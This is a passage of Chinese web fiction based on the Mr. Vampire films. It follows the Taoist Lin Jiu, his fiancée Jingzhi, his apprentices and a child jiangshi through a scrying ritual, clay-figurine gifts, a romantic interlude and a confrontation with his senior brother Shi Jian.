铁锅快炒,上菜速度快得很,这种苍蝇饭馆,量大实惠,热腾腾的菜带着锅气,就算是素菜也好吃得紧。 望着一桌子的菜,秋生起身到墙角木桶旁,掀开白布,盛了一大盆冒尖的饭过来,文才也自觉的给众人分发碗筷。 “静之姐,你是不知道,我俩一大早就出来了,早饭都没吃,都快饿厥过去了!” 秋生狼吞虎咽,手上不停夹着菜,还能抽空跟她吐槽两句。 “我跟你们说啊,那女的生前可惨了,典型的被逼良为娼,她不从,就被刚刚那两个龟公用热水活生生浇死了。” 文才听到这话,不知为何,身子竟不住抖了起来,差点没把他手里的碗打翻。 秋生侧头,“你不是吧,我已经把女鬼从你身上收回来了,还没缓过来?” “他怎么了?”静之问。 文才哆嗦着嘴说:“师兄可倒好了,看到的记忆都是莺歌燕舞,环肥燕瘦,我看到的就是凶案现场。” “……” “小可怜。”她给他夹一筷子肉,“多吃点压压惊。” 哪敢劳烦她夹菜,文才直接把碗递到菜碟子旁边接过她那一筷子,“好了好了。” 他隐晦的抬起眼皮看一眼他师父。 还好,还闭着眼。 不过,他怎么不吃啊? 静之叹了一口气,看着吃得正欢的两个人说:“唉,你们两个人这事儿,真算是无妄之灾了。” 秋生喝口汤顺下嘴里的饭菜,这才抬头问,“对了,你们来镇上干什么?不是说好没事不出来吗?” 静之侧头看向心事重重,连饭也不想吃的林九,又皱一下眉头,悠悠说道: “等你们忙完再说吧。” 静之给林九还未动一口的饭上头,夹了一块他爱吃的叉烧,“阿九,我知道你心情不好,都过午时了,多少吃一点吧,别饿坏肚子。” 林九睁眼低头看向碗中的菜,脑子里浮出的,却是他师兄那张严肃的脸。 久久未曾动筷,思维又不知道飘荡到哪里去了。 静之干脆夹起肉喂进他嘴里,“再不吃,这俩饭桶要把菜都吃完了哦。” 秋生撇嘴看着他师父碗里那块肉,见他师父还不吃,他狡黠一笑。 筷子一伸,作势要夹来吃。 手刚伸到一半,一双筷子从侧前方凌厉出击,挑开他的筷子。 “这么多菜还不够你吃的?!” 他看这逆徒是皮痒了。 秋生:呦,还护食上了~ 他睁着一双多情的桃花眼,无辜道:“师父,你不是不吃吗?你不吃给我吃呗,我一点儿也不嫌弃。” 静之:“……我看你是皮在痒。” 林九把碗往自己的位置挪近一点,“谁说我不吃。” 见他开始进食,秋生笑嘻嘻的朝静之挑挑眉。 他师父这个人啊,有时候不逼一把,是不会有动作的。 …… 吃完饭,秋生二人老实端着坛子去保安队,静之跟林九则踏上了归途。 出镇的路上,她还遇到一队保安队的人马,在街尾的破教堂处跟上次那几个修女吵吵嚷嚷的。 “队长说,你们教堂也有蝙蝠,即日就要焚毁,你们重新找地方住吧!” 老修女:“不行!教堂是我们立身之本,没经过我们同意,你凭什么烧?” “对啊对啊!”一群年轻的修女愤愤附和。 静之也就瞄了那么两眼,视线便被林九的黑脸转移走。 …… 刚一回义庄,林九来到祖师爷神像前,打开那个木盒子,把里头的五根旗子跟五营神将一一拿出,放在条案前,焚香祭拜。 做完这一切,他才回头跟静之说: “明天记得叫我带上这些东西。” “你去哪里?”见他提着包袱走出大厅,静之亦步亦趋跟上去。 来到空旷的内院处,林九蹲下,打开包裹,将里面一小节藤蔓倒出来,黑色藤蔓上倒挂着两只蝙蝠。 “静之,去厨房拿把剪刀过来。” “哦。” …… 林九接过剪刀,小心翼翼的挑开蝙蝠腿上的枯枝败叶,然后将拴住它们腿的东西取下。 “是鱼线?” “嗯。”林九用剪刀夹起两条弯曲的鱼线放在阳光下细看,耳边却突然传来静之一声惊呼。 “阿九,它们动了!” 林九闻声望去,地上两只蝙蝠扑腾着还有些湿润的翅膀冲天而起,转瞬间,便从院子里飞了出去。 林九眉头紧皱成川字,从石大富的描述看,村内异常发生的时间是两天前开始。 那么说明这蝙蝠浸在水里肯定不止两天,这都没死? 它们不用呼吸的吗? 真是匪夷所思。 静之踮着脚尖看向天空,“阿九,好像朝任家镇的方向飞了,没事吗?” “应该飞去那个破教堂了。” 回来之前,他也听到了那段争吵,不过,现在更重要的,是找到那个幕后黑手。 林九:“明天再说,帮我拿盆干净的水来。” 静之:“要洗漱吗?” 林九举着剪刀上的鱼线对她说: “做法。” 静之有些疑惑,什么法要用到清水,她倒是没有见过。 …… 第152章 他该怎么面对 刚打来水,林九就不见踪影。 “啾!娘亲!” 侧边突然响起小僵尸的叫声。 转头一看,小僵尸伸出一点官帽,皮肤那是一点没露出来,就怕晒到太阳。 停尸房的门开了,离得有些远,只能看到林九在祭坛前不知道在烧什么。 静之端着水走了过去。 林九头也没抬,“放桌上。” 静之依言行动,等水面静止,林九将碗里那边黑色灰烬投入水中。 屋里的光线突然暗了下来。 静之吓了一跳。 一抬头,正巧遇到小僵尸充满怨念的眼神,“随时,啾,关门,不,然……咔,没儿啦!” 一卡一顿的,跟年久失修的留声机似的。 静之想笑,但是林九此刻表情太凝重了,她硬生生憋了回去,轻咳了一声,将视线转移到他面前的脸盆中。 老方法,符纸点燃丢进水中,又见他不知叨咕什么咒语,那水面犹如一面银镜,竟慢慢显现出一个人影。 还未来得及看清,肩膀突然被从后头拍了一下。 “我去,你什么时候进来的?” 秋生朝水面上的人影努努嘴,“你往盆里看的时候喽。” 刚看一眼,秋生挠着脸思索了一会儿,突然“啊”的叫了一声,吓众人一跳。 林九眉心一跳,冷着脸说: “要在这里捣乱,就给我出去!” “不是。”秋生摆手,手指头直指水中那个熟悉的背影,“师父,那天我去我姑妈家就跟他撞上了,就是这个男的!” 静之:“什么叫那个男的,他是你师伯的儿子,叫石少坚。” 边说着,静之又偷瞄一眼阴沉着脸,不知道在想什么的林九。 证据都摆在这儿了,阿九他……该怎么处理这件事情呢? 突然,水盆里面渐渐浮现出另一个影子,黑白八卦道袍,束冠留须,不苟言笑,赫然就是石坚。 锐利的眼神好似从水中径直看向施法的林九,静之心一慌,端着水盆,快速走到半敞开的门口就往外泼。 ……【分景】…… 看着突然转头的石坚,石少坚跟着转头,看向身后的街道,“爹,怎么了?” 石坚收回眼神,“在外面别叫我爹。” 石少坚眉眼低垂,作乖巧状,应了声是。 初初找回这孩子,已是十八岁年纪,现如今,他已经二十有三,养了石少坚四五年了,他石坚若是不知道他的性子就有鬼了。 “别给我搞一些不入流的手段,我石坚丢不起这个脸。” “……是,师父。” 听到师父二字,石坚满眼复杂的睨他一眼,遂转头一挥广袖,大步朝前走去。 林凤娇那厮,应该已经猜到动手的人是谁了吧? 可他缺席了这孩子一十八年的人生,心里头的愧疚总是有的,少坚又惯会在他面前嘘寒问暖,装乖卖巧。 从未对谁和缓过脸色的石坚,对这个孩子,终究还是心软了。 希望他能够听进去他的训诫吧…… …… 回到林九这边,他仿佛丢了魂似的,说了句要静一静,便把自己关在书房里。 望着正在亭子里“玩泥巴”的静之,秋生双手捧着脸看了一会儿,实在憋不住了。 “喂,你不去安慰一下我师父啊?” 静之头也未抬,专注手中的泥雕,拿着刻刀,想着心里的那个人,一点点削出他的形状,边慢慢说着: “这个事实,我都接受不了,更别说他了,你就让他安静一会儿吧,别大声嚷嚷啊。” 秋生拿起木板上她捏好的,他师父的小手轻轻转动着,“所以你就打算做个泥人安慰我师父啊?” “给我放下啊,我好不容易捏好的。” 静之把散落一木板,林九的胳膊腿,往自己的方向拢了拢,又皱眉朝对面这两个无所事事的人问: “你们师父不是叫你们去保安队报案吗?那么快就回来,你们到底去没去啊?” “嗐!别提这事了。”秋生一脸踩上椅子,脸都撑皱了,郁闷得不行,“新来的队长比阿威更垃圾,一进怡红院,立马就叫老鸨找两个姑娘给他取乐,哪里还想得起查案哦。” 文才不住点头,附和道:“没错,他那些手下也一样,我跟师兄要跟他们理论,没想到他们居然想跟我们动手。” 静之手中的刻刀一顿,抬头端详他俩,“打起来了?” 秋生脸上没啥伤口,她转头看向文才,文才瞬间低头,脸都快埋到桌子底下去了。 他闪的快,静之眼神更快,那颧骨上的淤青瞬间就入了她的眼。 “啧,自己去厨房煮两个蛋滚一滚,少去阿九面前晃,别再让他操心了。” 文才走后,秋生望着桌子上那个封着女鬼的坛子,又开始唉声叹气起来,“那我怎么办啊?我不会被她缠一辈子吧,我也不想折寿啊。” 静之转头看向那紧闭的书房门,悠悠叹息一声,“等着吧,他总会想通的。” …… 秋生这一等,便等到了日落西山。 他坐到腰酸背痛,书房里依旧静悄悄的,没有一点儿动静。 “欸,我和文才先去做饭,你帮我劝劝师父嘛,再等下去,你亲爱的徒弟我就要没命了!” “……嘁,你又不是我徒弟。” 静之放下细毛笔,小心翼翼拿起桌上的小林九仔细端详,“像不像?” “像是挺像。”秋生撇嘴,“捏什么不好,非要捏我师父,我师父有一个就够我受的喽!” “啧。” 见他溜得飞快,静之收回踹出去的腿,抬脚就往书房走去。 “叩叩叩。” “阿九?”她小小声叫。 “进来。”他的声音低沉依旧,静之听不出里头的情绪。 有些摸不准他到底是什么心情,但是打定主意要让他开心起来的静之,动了动脸颊,扯出一个大大的笑容推门走了进去。 “坐半天了,吹吹风也好嘛。” 她装作不经意,把手中的小阿九放在他书桌旁,然后走到他侧面的墙边,把紧闭的窗户往外推。 屋内憋闷的空气,一下就被流动的晚风替换,晚风中带着炊烟和她身上香甜的气息萦绕在他鼻间。 皱了半天的眉头缓缓松开。 眸子渐渐下移,定格到桌上那穿着黄色道袍,挥舞着桃木剑,灵动又透露出一丝可爱的小阿九身上,林九低低笑了一声。 突然觉得自己一下午的纠结,是多余的。 若是他大师兄…… 不,是石坚。 若是石坚非要对他们下手,他林九也绝不会手下留情。 “过来。”他说。 静之依言走过去来到书桌旁。 “干什么——你,我窗户刚打开呢,等会给秋生他们看到,你又要脸红了。” 林九把静之扯到他腿上坐着,轻轻擦拭着她脸上不小心蹭到的黄色颜料,“就抱抱,不做别的。” 擦干净她脸上的颜料,他才伸长手轻轻拿起桌上的小人细看,“送给我的?” 静之点头,把手中藏着的小小一只白猫放到小林九肩头卡住,“嘿,放这里刚刚好。” 第153章 秃头崽崽 林九看着那仿佛合为一体的一人一猫,嘴角渐渐勾起,伸出食指轻轻摸着小小的猫猫头,柔声说道: “怎么不捏个你自己?” 这东西,摆在书桌前正合适呢。 静之转过身,双手搂着他的脖子问: “我找青叔要的泥还有,我捏了小林九,你捏一个小静之好不好?” 突然,她眼前一亮: “再捏个小雨放中间,一家三口刚刚好,不然他那声娘就白叫了。” 林九浅笑着点头,刚想说好,一把锅铲突然从侧边的窗框升起。 秋生和文才仿佛两颗巨大的灯泡,在夕阳中闪闪发亮。 “师父,也捏一个小秋生吧!” 文才嗫喏嘴附和,“也要有小文才!” 听到背后的声音,屋里头两个人以光速分开。 一个拿着抹布到书架旁,东擦擦西摸摸。 一个拿着泥人站起坐下,抽屉开开关关。 “嘿~捏一个嘛~”秋生撅嘴撒娇。 文才傻傻点头,“该捏。” 捏个屁! 林九涨红了脸,轻轻放下泥人,然后快步走到窗前,重重关上窗户。 秋生后仰脖子,鼻子差点没被夹掉。 文才光不溜秋的刘海却夹了一戳到窗户缝里,他抬手拔着头发,边哎呦直叫: “师父,头发,我的头发!” 窗户开了又关。 放开他的头发,林九顺便瞪了这两个兔崽子一眼,“还不去做饭,想饿死我吗?” 秋生眨眨眼,“师父,有情饮水饱,我以为你中午不爱吃,今晚又不吃了呢。” 静之:这个贱,他是非犯不可吗? 林九:……这个逆徒!他的剑呢?? 秋生的声音渐渐远去,“哈哈,师父,你捏吧,我去做饭啦~~” 静之望着那个僵在窗前的身影,试探性问一句:“我去给你拿进来?” 林九吭哧半天,才呐呐说一句: “只捏你。” “好好好。”她眉开眼笑,她的阿九四十多了,在情感的表达上却有些幼稚,但莫名的,就是能够戳中她爱的点,让她不由自主的想要多宠他一点。 悄然走过去,趁他回头的一瞬间,飞速啵一口他的侧脸,然后转身就跑。 徒留一座捂脸的雕像,僵在原地。 …… 斜阳照在亭子里,映出了四个长长的倒影到院子的空地上。 突然,一个影子举起手来,手里还拿着一个泥人,阳光落在泥人身上,为它那身白色的衬衫镀上一层橘黄色。 小泥人赫然就是秋生的缩小版。 他笑得合不拢嘴,心里莫名有些感动,他也就随口这么一说,没想到他师父居然真的给他捏了。 林九将他的脸掰向文才,“别这么看着我,是静之做的。” 静之对他露出这个表情,他会想抱抱她。 轮到秋生,他的手就开始发痒。 白感动一场,秋生的笑僵在脸上,高举的手收回,胳膊肘杵在桌上,饭也不吃了,仔细打量那个小泥人。 明明感动的很,他却装作很潇洒的样子,朝静之一扬下巴,“谢啦,以后有什么吩咐,尽管叫我去做!” 文才倒是憋不住了,本就耷拉下来的眼皮,这回有些肿胀,眼圈也红红的,看着手中那个穿背带裤的小文才。 小文才手上还拿着他睡觉时一直抱着的那个毛毛虫抱枕。 那个抱枕是他小时候刚来义庄害怕得不敢睡觉,林九给他做的,虽然有些丑,但是林九的心意通过那个丑丑的玩偶,确实传达到他心里了。 所以这么多年了,就算它脱线起球,他也不舍得丢掉。 后来师父在任家镇混出名堂,越来越忙了,也就很少给他送什么礼物了。 这个泥人,是他为数不多收到的几个礼物之一。 因为外貌的缘故,秋生倒是有好多小姑娘给他塞礼物,而他总是无人问津的那一个。 所以,他附和那一句,本就是习惯性说说而已,他一点儿也没指望能收到什么东西。 乍一收到,仿佛心口中了一拳,他眼里包着两泡眼泪看着静之,不知道该说什么好。 静之举起个空碟子挡住他的视线,“你也别这么看着我啊,义庄人人都有份,小雨也有呢!” 说到小雨,她放下碟子,伸长了脖子朝不远处藏在柱子后的小雨看了看。 她小声嘀咕,“带了帷帽的,怎么不过来?” 虽是僵尸,但他依旧有小孩的天性,爱凑热闹。 今天人挺齐,他却一个人站在柱子后,有些反常呢…… 林九拉着她的胳膊让她坐下,“先吃饭吧,都凉了。” …… 柱子后的小雨,长长的指甲撑得开开的,用小小的虎口小心圈着泥人——小小雨。 文才好歹林九收养他,小雨就更惨了。 开启了灵智的他脑子越发灵活,这几天甚至想起了一点以前的记忆。 温暖的时刻很少,大半个记忆里,不是被野狗追,就是被熊孩子欺负,甚至还有坏人要拐走他卖了。 活了短短几年,没人保护的他,被迫开始思考起了人生的意义。 若是当初的父母不要他,为什么又要生下他,让他经历这一切? 此时的小雨甚至在想,死了也好。 至少,现在野狗咬不动他了,熊孩子也不敢欺负他了。 小雨偷偷伸头出来,看一眼不远处的林九跟静之。 他好像有些明白,【爹】跟【娘亲】的意义了。 如果是他们两个,那他也可以接受的。 就在这时,静之朝他招招手,又从身后变出两个新鲜的番茄,“来呀,一起吃饭才香嘛。” 小雨有些局促,他不怎么饿,但是身体却不由自主的朝那个方向蹦了过去。 他的手臂关节开始有些软化了,但是膝盖依旧硬着,所以只能站着吸他的番茄汁。 吸完一个,番茄皮一放,眼睛直直的看着静之,想流泪,又恨他自己流不出泪。 两手揉了揉圆圆的小僵脸。 小雨微微低头,暗叹自己不争气,脸上神经好像坏死了,一点反应都没有,做不出文才那样可怜的表情,来引得她的一点点关注。 突然,另外一只番茄举到他嘴边。 小雨抬头,视线直直撞进她带着些笑意和关心的眼里。 她说:“再吃一个吧,小孩不吃饱长不高哦!” 小雨想笑,也笑不出来。 这个女人可真会戳人心肺,他再也长不高了。 不过,她眼里的关心好像让他早已冰凉的心跳动了一下呢…… “啾,娘亲!” 如果以前是迫于林九的实力和他的懵懂瞎叫唤的,今天这一声,他带上了点真心。 “嗯。”她眉眼弯弯,上手掐了掐他的小圆脸,“吃呀。” 触上他皮肤的一瞬间,静之愣了一下。 是不是她的错觉,她怎么觉得小僵尸没有那么凉了呢? 于是尝试性摸了一下他的额头。 收回手后,静之看着自己手上的一小缕泛黄的头发陷入沉默。 “那什么,阿九,僵尸会脱发吗?” 刚问完,隔壁的秋生掀开小雨头顶一直戴着的小官帽一看。 被官帽压着的一圈,微秃。 浅浅一层头发都粘在官帽周围一圈了。 秋生笑,“哈哈,小雨,你年纪小小的,就开始秃头啦!” 小雨郁卒,一手拿着番茄,一手捂着脑袋又蹦到了柱子后面。 躲太阳,也躲调皮的秋生。 林九对小雨这情况,也是闻所未闻。 “不知道,他情况特殊,且先看看再说。” 吃饭暂停。 粘一手毛的她,被林九强制性扯到水池旁洗手。 嘴贱加手贱的秋生在林九的眼神压迫下,去给小雨洗帽子,顺便给他梳梳头。 洗帽子倒是小事,此时的秋生看着宛如蒲公英一般,一梳掉一大撮毛的小雨,半晌说不出话来。 他拔掉梳子上缠绕着的头发,然后试探性的往小雨仅剩的几根刘海一吹。 仅存的那几根头发,在小雨震惊的眼神中,缓缓飘落下来,离他而去。 尸是哭不出来的,但他也会伤心。 小雨两手抱着反光的脑门开始干嚎。 “啊啊啊啊啊!秋生,坏!” 眼神挪到洗完手的静之身上,刚想告个状的小雨瞥到她脸上的表情,嚎叫的声音都停了一瞬。 “你,你笑??” 他越发人性化了,语气里竟还微微带着一点不可置信的上扬。 静之手指压住疯狂上翘的嘴角往下拉,一脸严肃说: “妈没笑,妈就是做做脸保健操。” “……?……” 他要告到中央去!!! 这里的中央,就是林九。 此时的林九背着手,望天。 啊,天还没黑,月亮就升起来了…… 第154章 会哭的孩子有糖吃 林九那双手,打得了鬼怪,画得了符纸,偏偏捏泥人这种精细活儿他不怎么会。 洗漱后,静之一路撒娇卖萌,缠着他来到书房,接着捏未完成的小静之。 林九无奈笑笑,扛着挂在他身后的静之走到书桌前。 月光洒满院子,地上小雨的头发被微风撩得到处都是。 文才拿着扫把,有一下没一下扫着,眼神朝亮起灯的书房看了看。 里头时而传来静之的娇笑声,还有林九无奈的低声呵斥。 文才有些好奇,踮着脚尖朝窗户里散发出恋爱酸臭味,头靠着头的两人看了看。 “师兄,你说的什么冷暴力,我看师父没有嘛。” 秋生边擦桌子,也朝里头瞄了一眼,“切,在她面前,师父还有脾气吗?” 文才扫地的动作一顿,扫把压住头发,挠头问秋生: “冷暴力我知道,那有没有热暴力啊?” 这时,秋生正拿着桌上的小小白猫细看。 这东西,不是师父的吗? 怎么会在这里? “师兄?”文才转头又唤一声。 秋生抹布一抛,正中椅子上的水盆里。 他手臂一撑擦得都快反光的桌面,矫健一跃,来到文才旁边,笑嘻嘻问道: “真想知道啊?” 文才乖乖点头。 秋生嘴角突然一勾,一把夺过文才手里的扫把,就往他的屁股后头挥去,“哈哈哈,这就叫做热暴力!” 听着外头两人的奔跑打闹声,静之抬头看了一眼就失去了兴趣,又低下头专心看林九的手。 没错,不是看雕塑,是看手。 这双手,平时做法的时候挺灵活的,怎么能把她捏成这样子呢? 静之眼神瞥到旁边放着的,手长腿短,眼睛占据半张脸,显得有些二比的小静之,不禁有些无语。 林九此时正捏着一片薄厚不均的泥片片意图给小静之捏个小裙子。 奈何,都快捏成饺子了,那裙子依旧不成型。 林九手一顿,若无其事的将泥片片又搓成球,重新来过。 眼皮偷偷上抬,看了捧着脸的静之一眼,恰巧与她专注看他的眼神对视。 脸上渐渐发烫,林九两指捻着那颗小小的白泥球,有些尴尬的说: “对不起,我不太会。” 静之摇头,依旧直勾勾盯着他看,“没事,不着急,我又不是今晚就要的,你慢慢做呗。” 林九松了口气,微微侧头,动了动有些发酸的脖子。 静之:“我给你捏捏?” 虽然这样问着,没等林九说好,她就已经站了起来,走到他身后开始给他捏着脖子。 颈后皮肤有些微凉,静之眉头渐渐皱起,“阿九,该加衣服了,这几天晚上越来越冷,你别老是穿着件中衣乱晃。” 给他松了松脖子上的肌肉,静之的手并未离开,而是环到前面,给他扣着前两颗扣子,“你也真是的,扣子老是不好好扣。” 声音突然凑得很近,耳边传来温热的气息,“每天都不好好扣扣子……怎么?要勾引我呀?” 林九的耳垂渐渐红起,抬手摁住她名为给他扣扣子,实则在他胸肌上胡乱摸索着的小手上。 “我自己扣。” 啧,警惕性还挺高。 静之把手抽出,视线突然落到他桌前的小林九身上,“阿九,我捏的小小猫呢?” 林九还没羞完,眼神落到小林九空空荡荡的肩,他一拍脑门,“刚刚拿出去……我出去找找。” 瞧他脚步急促走到门口,静之身子一歪,坐到他座位上,笑意吟吟。 真好,小小猫他吃个饭也要随身带着呢。 还没高兴完,走到门口,刚打开房门的林九不知道被谁当头一棒,砸在脑门上。 “哐当!” 静之瞳孔一缩,看着捂着头,弓下身子去的林九,她一脚蹬开椅子,朝门口奔去。 “是谁?!” 文才吓得连退两步,见秋生弯着腰想跑,他一把揪住秋生的裤腰带,“是,是他,不关我事啊!” 林九揉着头,看着僵在原地的秋生,忍不住怒骂出声,“臭小子,你!” “阿九,你没事吧?把手放开,我帮你看看?” 静之看着地上都断成两截的木棍,终是冷着脸,忍不住对秋生发了火: “文才你去睡觉!地让秋生扫就行!” 瞧她不知是气红了眼,还是担忧得要哭出来,林九饶是痛得想死,也强忍着疼痛扯了扯她的衣角,“我没事。” 他朝秋生伸出手,“把东西给我。” 秋生一点就通,他从怀里找半天,才找出只比手指头大一点的小小猫放到林九手里,“师父,我不是故意的,我只是跟文才闹着玩的,哪里知道你突然走出来。” “今天若不是我被打,这棍子就要落到你师弟头上了。”林九难得没有对他生气,而是摇了摇头,叹息一声,“秋生,你二十了,不是十岁,什么时候能稳重一点?” 秋生捏着手,呐呐说了句“对不起”,就自发罚站似的站在墙角处。 林九朝他扬扬手,“罢了,没听到静之说的吗?去扫地。” “哦!” 师父的心,越发变得柔软了呢。 这回不用静之交代,心虚得不行的秋生,自觉的去厨房给他师父煮鸡蛋,还拿了药酒过来。 林九不生气,静之倒还有些气着。 她没好气的瞪了秋生一眼,一把夺过他手里的东西,“还不去扫地?” “去去去,这就去!” …… 回头看林九。 却见他顾不得脑门上一片红肿,正把小白猫小心翼翼放回小林九的肩上,静之眼底冷色褪去,迅速换上一抹心疼。 快步走了过去,把托盘放桌上,“晕不晕,都这样了,你还管这东西呢。” 林九抬头,温柔一笑,“帮我敷药。” 静之:“……也就我愿意管你。” 嘴上语气有些强硬,手中却极速拨着有些烫的鸡蛋,然后轻轻柔柔的将之滚上他脑门处鼓起的那个小包。 静之:“烫不烫?” 林九:“不痛。” 静之:……得,看来是痛的,都开始说胡话了。 她不再问话,而是放轻动作给他揉着。 林九把着太师椅的手柄,用力到指尖都泛出一抹白色,对着她的脸,那一抹微笑依旧保持得很好。 静之睫毛颤动了一下,心里又胀又心疼,热泪终究还是滚出眼眶。 微微颤抖的唇瓣覆上他强行勾起的嘴角,“你是笨蛋吗?痛就要叫,我不希望你在我面前还忍着。” 林九双手捧着她的脸颊,两根大拇指由内而外,轻轻拭去她的泪水。 他的心也一阵发胀,因她心疼的泪水和轻柔的举动。 一直被动着的林九,终于主动压住她的唇瓣轻吮了一下。 沾了泪水的唇,咸中带甜。 林九却很满足,他浅尝辄止,缓缓退开身子,直视她的眼睛。 “是有些痛,你再帮我揉揉?” 老话说得好,会哭的孩子有糖吃。 他林九,也可以暂时摘下那个严肃的面具,这样任性一次吧? 第155章 石坚震怒 林九承诺了秋生,等他今天忙完回来,就帮他找尸体,这才让一直提着一颗心的秋生松了口气。 文才照例留下来看家,他则扛着找井的家伙什,跟着林九和静之上了石成的马车。 “早,今天你爹没来啊?”静之问。 石成:“他先去山上等你们了,哦对了,还有我表爷爷也一起去了。” 静之疑惑,“表爷爷?” 石成胸脯挺得跟汤姆猫似的,说:“哎呀,就是大名鼎鼎的茅山大师兄石坚,就是我石爷爷嘛。” 静之心里一惊,下意识回头看了一眼林九。 林九不动声色抬手下压,示意稍安勿躁。 他仿若无意,问了一句: “哦?我师兄不用去帮任家找铺面吗?” 石成声音里满带着敬仰和骄傲,“你们不知道了吧,我石爷爷昨天就找到位置了,刚刚我爹出门的时候碰到他,他说要去,我爹就让他们一起去喽。” 石成想,这回来了两个本事强大的道长,看来他的鱼儿是有救了! 他们? 看来石坚这是上哪儿都带着他那个乖儿子啊。 石成心里窃喜。 殊不知,马车里头坐着的三人眼里尽是警惕。 没位置坐,只能坐在两人脚边的秋生昂起头,“师父,师伯他……” 林九做了个嘘声的手势,抬眼看了一眼石成的背影,压低声音说: “先上山。” 静之同样欲言又止,“阿九,我……我怎么办?” 林九紧紧扣住静之放他膝上的手,停了几秒,才坚定的说: “早晚他也要知道,不管他同不同意,我决定了的事情,谁都无法更改。” 秋生心里直呼师父牛逼。 他师伯那张面无表情的脸和每次打鬼时那毫不留情的奔雷掌,他每次看了都直发怵。 他家师父,这是为了未来师娘要跟人家硬刚啊? 外头的石成以为他们说的是开井的事儿,于是侧过头说: “九叔您放心,我石爷爷说了,水既然有问题,开个井也是正确的做法,他说他不会插手的。” 静之:他们说的不是一个事儿啊。 三人齐齐叹了口气。 …… 上山的路,静之躲躲闪闪的,把自己藏到林九的身后。 那个石坚身上,好似有她极为害怕、又有些熟悉的一种气息。 能避则避,绝对不能硬攻。 然而,事实要是能如她所愿就好了。 还没走到众人跟前,一颗凝结出爆裂气息的雷电球,在眨眼之间,从石坚手里发出,直击静之面门。 后面是个斜坡,不好退,右边是悬崖,左边是林九,也不能躲。 就在静之要硬生生抗下这一招的时候,林九迅速掏出八卦镜挡在她面前,把他师兄的奔雷拳,反弹到一旁的树上。 他的八卦镜也因受不住这雷电之力,咔嚓一声,碎了。 “嘭!” 那树干一片焦黑,甚至隐有火光,和残余如细丝的雷电流窜于树干之上。 劫后余生的静之这才反应过来,她怕的东西,是雷。 石坚善使雷电,她就说她怎么一看他就害怕呢。 “林凤娇,你干什么?”石坚一声怒喝,唤醒震惊的众人。 林九上前一步,“师兄,借一步说话。” 石坚双眼紧紧盯着静之,仿佛她一有异动,他就要一奔雷拳过来攮死她,静之抖了一下,赶紧下了一阶把自己藏在秋生身后。 秋生硬着头皮上前一步挺起胸膛,挡住他师伯的视线。 “哼!都是一丘之貉,上梁不正下梁歪,你也不是个好东西。” 骂完秋生,他转头斜眼朝林九一声冷笑:“呵,我倒要看看,你有何话可说。” 村长石大富目瞪口呆。 这是怎么了,他俩不是师兄弟吗,怎么一来就打? 今天这井,还能不能开了? 山顶上隐隐分成两派。 秋生,静之,站在右边,石大富请林九来,所以他也走过来站在他们这边。 石少坚自己一个人站在左边,石成左右看了看,他还是选择相信他表爷爷,走到了左边。 毕竟,还是亲人可靠不是? 氛围一时凝固,除了不远处树下交谈的两人,山顶只余呼呼的风声和潺潺的流水声响起。 交谈声不大,正常人听不到。 她可是听到了。 林九还是不信,他紧紧盯着石坚的眼睛问:“师兄,我就问你一句话,这一系列的事,你有没有插手?” 原本紧盯着不远处静之的石坚,听到他的问话,瞳孔突然晃动了一瞬,余光瞥到他阳光下浅笑着的儿子,他轻咳一声,直指静之: “别给我转移话题,师父教你的,你都吃到狗肚子里去了?与妖兽为伍,亏你自诩正直!” 林九伸手按下石坚的手指,“师兄,到底是谁转移话题,我看你自己心里有数。” 他看了一眼,伸了个头出来朝他吐舌头的静之,愣了一下,又浅笑着摇摇头。 她还是不怕,都这个时候了,还有心情对他做鬼脸。 静之:有阿九保护她,她怕个卵。 石坚袖子一挥,打掉他的手,“一码归一码,今天你不解释清楚,我就要她魂归西天!” 林九叹了口气,递过去两片叶子。 “你自己开眼看看,她身上可有一点伤人的血腥气跟阴煞之气。” 石坚不信这个邪,惩奸除恶,遇鬼杀鬼,遇魔杀魔的理念已经深埋他心。 “你以为我会上你当?”他没接,反而从他随身挂着的坠子上,拿下两片柚叶型法器给自己开眼。 眸光一亮,刚定睛一看,石坚突然眯下眼皮,差一点就被秋生后头犹如小太阳一样的静之闪瞎眼。 石坚:怎么回事?功德成精了? 不确定,再看看。 手中凝结的雷电之力渐渐散去,他上前一步,想看个分明,林九立刻伸手挡住。 “静之,过来。”林九唤了一声。 “不要!”静之指了指石坚,“他会打死我的!” 石坚:他这一掌下去,她还没死,他估计就要被她一身的功德之力反杀了。 石坚翻了个白眼,有些不耐。 林九见事情有转机,赶紧又朝静之招手,“别怕,我在这儿。” 静之攀着秋生的肩膀往石坚那边看了看,见他眼里没了杀意,只有白眼,她莫名放下心来。 被翻白眼,总比被电死强。 过去就过去。 想是这么想的,她磨蹭半天,这辈子加上辈子,走路没这么慢过。 不过十米的距离,给她走了快两分钟。 石坚眼睁睁看着“功德精”朝他走了过来,赶紧一挥袖子撤去天眼,以免闪瞎自己。 林九:“如何,师兄可看得分明?” 石坚无话可说,冷哼了一声,还是嘴硬,“那又如何,你能保证她一辈子不干坏事嘛?” 林九牵过静之的手举起给他看,“若她干一件坏事,我林九自当上茅山请罪。” 石坚一惊,“你什么意思?” 林九露出一个疏离而不失礼貌的微笑,“她是我林九的未婚妻,待过段日子,我自会递交请帖到各位师兄弟和师父手上。” 他微微弯腰,朝石坚一拱手,“我的事情交代完了,那么……我刚刚的问题,师兄是时候该回答我了。” 静之有一种被他扯着见家长的感觉,手指头抠着衣角,低着头,脸红得不行。 一双滴溜溜的眼睛,像警觉的小动物一般,偷偷朝石坚脸上看。 这货,真的不杀她啦? 不对,他被林九问了一句话,怎么一脸心虚? 做没做,就一个字的事儿,他犹豫那么久干什么? 等不到答案,开井的吉时都要过了。 林九叹了口气,隐晦的朝石少坚的位置瞥了一眼。 他师兄这个人,一生光明磊落,若是没做坏事,被他如此质问的话,早就一巴掌呼过来了,哪里还会犹豫这么久。 看来,事有隐情。 “师兄,我只想让你知道,千鹤师弟差点就死了,他的徒弟你的师侄小北也死了,师妹也差点被红白双煞夺去性命。 门内弟子相残,我就是告到师父那儿去,也是有理的那个。” 石坚越听越心惊。 那个兔崽子,他只说搞了点幻术,跟让人倒霉的术法整整林九,原来笑里藏刀,闷不吭声,给他拉了坨大的。 石坚闭眼忍下腾起的汹涌怒气。 “我会给你一个交代。” 留下这句话,石坚挥舞着袖子一个转身,把他亲儿子的头都给扇歪了。 “下山!” 石少坚脸上的微笑表情再也挂不住了,他捂着脸一脸震惊的看着石坚的背影,又阴恻恻看了林九二人一眼,这才满脸委屈,踉跄着跟上石坚。 “师父,我都是为你好,你不是讨厌他吗?” “从今往后,我不再是你师父。” “为,为什么?” 还敢问为什么? 石坚满脸复杂的看着这个人。 